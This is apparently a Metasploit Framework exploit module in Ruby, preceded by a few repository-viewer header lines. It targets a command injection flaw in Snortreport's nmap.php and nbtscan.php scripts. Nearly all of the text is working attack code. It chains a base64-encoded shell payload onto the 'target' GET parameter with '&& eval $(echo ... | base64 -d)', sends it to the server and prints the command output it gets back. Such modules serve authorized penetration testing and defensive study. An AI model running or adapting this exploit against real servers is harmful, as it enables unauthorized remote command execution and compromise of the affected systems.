94 lines
2.4 KiB
Ruby
94 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Snortreport nmap.php/nbtscan.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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nmap.php and nbtscan.php scripts.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Paul Rascagneres' #itrust consulting during hack.lu 2011
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],
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'References' =>
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[
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['OSVDB', '67739'],
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['URL', 'http://www.symmetrixtech.com/articles/news-016.html']
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],
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby bash telnet python',
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}
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},
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'Platform' => ['unix', 'linux'],
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Sep 19 2011',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
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],self.class)
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end
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def exploit
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base64_payload = Rex::Text.encode_base64(payload.encoded)
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start = "127.0.0.1 && echo XXXXX && eval $(echo "
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last = " | base64 -d) && echo ZZZZZ"
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custom_payload = start << base64_payload << last
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'vars_get' =>
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{
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'target' => custom_payload
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}
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},10)
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if (res)
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to_print=false
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already_print=false
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part=res.body.gsub("<BR>","")
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part.each_line do |line|
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if line =~ /ZZZZZ/
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to_print=false
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end
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if to_print == true
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print(line)
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end
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if line =~ /XXXXX/
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already_print=true
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to_print=true
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end
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end
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if already_print == false
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print_error("This server may not be vulnerable")
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end
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else
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print_error("No response from the server")
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end
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end
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end
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